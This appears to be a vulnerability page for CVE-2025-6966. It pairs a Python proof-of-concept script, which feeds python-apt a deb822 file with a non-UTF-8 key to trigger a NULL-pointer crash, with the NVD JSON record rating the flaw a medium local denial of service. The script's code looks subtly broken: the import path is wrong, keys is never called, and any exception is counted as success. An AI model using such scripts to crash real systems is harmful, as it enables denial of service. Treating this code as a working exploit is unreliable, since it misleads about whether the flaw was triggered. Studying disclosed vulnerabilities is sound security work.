CVE-2025-6966

#!/usr/bin/env python3 """ CVE-2025-6966 PoC - python-apt TagSection空指针解引用 This PoC demonstrates how a malformed deb822 file with non-UTF-8 key can trigger NULL pointer dereference in TagSection.keys() """ import sys try: from apt.package import TagFile from io import BytesIO except ImportError: print("python-apt not installed") sys.exit(1) def create_malformed_deb822(): """Create a malformed deb822 file with non-UTF-8 key bytes""" # Normal deb822 header content = b"Package: test-package\n" # Add malformed key with non-UTF-8 bytes (0x80 is invalid UTF-8 start) content += b"Desc\x80ription: Test package\n" content += b"Version: 1.0\n" content += b"\n" return content def trigger_vulnerability(): """Attempt to trigger NULL pointer dereference""" malformed_content = create_malformed_deb822() tag_file = TagFile(BytesIO(malformed_content)) for package in tag_file: try: # This call may trigger NULL pointer dereference keys = package.keys print(f"Package keys: {keys}") except Exception as e: print(f"Exception triggered: {type(e).__name__}: {e}") return True return False if __name__ == "__main__": print("CVE-2025-6966 PoC") print("Testing malformed deb822 file parsing...") triggered = trigger_vulnerability() if triggered: print("[+] Vulnerability potentially triggered") else: print("[-] No exception observed (may require specific conditions)")

{"cve": {"id": "CVE-2025-6966", "sourceIdentifier": "[email protected]", "published": "2025-12-05T13:16:05.220", "lastModified": "2026-01-07T22:20:56.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ubuntu:python-apt:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.3.11", "matchCriteriaId": "4FFC88CF-9186-4A10-91B0-85D8E30E6849"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ubuntu:python-apt:*:*:*:*:*:*:*:*", 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